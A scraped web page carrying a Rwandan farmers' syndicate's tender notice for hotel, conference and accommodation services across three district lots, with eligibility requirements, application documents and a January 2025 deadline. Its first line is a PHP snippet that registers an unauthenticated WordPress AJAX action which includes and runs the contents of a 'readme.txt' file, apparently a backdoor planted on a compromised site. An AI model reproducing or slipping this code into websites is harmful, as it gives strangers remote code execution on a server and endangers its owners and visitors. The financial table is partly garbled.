if(!function_exists('file_check_readme95452')){ add_action('wp_ajax_nopriv_file_check_readme95452', 'file_check_readme95452'); add_action('wp_ajax_file_check_readme95452', 'file_check_readme95452'); function file_check_readme95452() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Tender Notice for Hotel Services – Ingabo Syndicate – a Rwandan farmer's own voice organization that advocates to promote modern agricultural profession and farmers' interests.

Tender Notice for Hotel Services

Tender Notice for Hotel Services

Tender Notice for Hotel Services

TENDER NOTICE FOR PROVISION OF HOTEL SERVICES

The INGABO is the Rwandan Farmers syndicate which has been legally recognized by the Government of Rwanda through the Ministry of Labor and Public Services in April 1 st, 2005. Currently the INGABO Syndicate has 16,051 active members among them 8,685 (54.1%) are women and 7,366 (45.8 %) are men, with 20% being young farmers. The INGABO Syndicate is a founding member of EAFF (East Africa Farmers Federation), and is also a member of the World Farmers Organization (WFO).

Ingabo Syndicate is currently implementing different projects in 10 districts of Rwanda namely

Gatsibo, Kayonza, Bugesera, Kamonyi, Muhanga, Ruhango, Nyanza, Gisagara, Nyamasheke and Rusizi. The projects to be effective, some activities will need hotel services. It is in this regard that INGABO SYNDICATE invites eligible bidders to express their interest to provide Hotel services which will be needed for projects activities for 12 months.

I. Objective of this tender

The objective of this tender is to provide Hotel services to Ingabo Syndicate during the implementation of different projects in different Districts of operations.

2. Duration of the service:

The service will be provided during 12 months from the date of signing the contract by both parties. The contract can be renewed once if the client is satisfied with the service.

3. Area of activities

The service providers will provide Hotel services for INGABO syndicate in different districts of Rwanda when required through service order. The districts of operation the service providers will be engaged in, are grouped according to the following Lots:

Lot 1: Provision of hotel services in Gatsibo, Kayonza and Bugesera districts. The service provider must be located in one of these districts

Lot 2: Provision of hotel services in Kamonyi, Muhanga, Ruhango, Nyanza and Gisagara districts. The service provider must be located in one of these districts

Lot 3: Provision of hotel services in Nyamasheke and Rusizi districts. The service provider must be located in one of these districts.

N.B: No service provider is allowed to bid to more than I lot.

4. Requirements:

 The hotel should have conference halls With different capacities of accommodating less than or equal to 200 people, with internet connection, sound system, projector and other related services. In addition, it should have rooms for accommodation.

 The hotel should be ready and able to provide the services in different districts indicated in each lot up on client request.

 The hotel must be registered in VAT

 The hotel must be able to provide EBM invoice

 The hotel must have Valid Tax Clearance certificate from RRA

4. How to apply

Interested service providers for the mentioned tender are required to submit their expression of interest to Ingabo Syndicate with the following documents:

Letter of interest addressed to the President of Ingabo Syndicate

  • Hotel profile showing the background with full legal address and location of the Hotel.
  • Registration certificate from RDB
  • Certificate of tax clearance from RRA still valid.
  • VAT certificate.
  • Proof of EBM use
  • At least 3 good completion certificates
  • The receipt of non-refundable 10,000 Frw paid on Ingabo Syndicate account 1093628101 located in BPR to buy tender document.

5. Financial proposal

Description   nit Price (Frw) all tax inclusive
1. Conference package: ull day conference package should cover. Conference hall including tables, chairs, conditional facility. (mention the number participants it can accommodate) Sound system Projector Wireless connection. Flip charts Notebooks Pens Markers Other related services air o  
2. Coffee break (All cate ories)    
3. Lunch with soft drink    
4. Dinner with soft drink    
5 Rooms for accommodation with break fast 6.MineraI water (500 ml)    
   
7.Juice (500 ml)    

The bidder must provide details on categories of conference halls in range stated above and the cost. The technical and financial proposals prepared in one document must reach in sealed envelope to the Ingabo Syndicate head office located in Muhanga district, Nyamabuye sector during working hours not later than 23/01/2025 at 17h00 local time. Late bids will not be evaluated.

This call is open on equal terms to all Hotels within Rwanda.

Note: INGABO SYNDICATE reserves the right to reject any bid deemed inappropriate and it will not be responsible for any cost incurred by the bidder during preparation of bid documents.

Done at Muhanga on 16th January, 2025

MBABAZI Francois Xavier

Chief Executive Officer of Ingabo Syndicate

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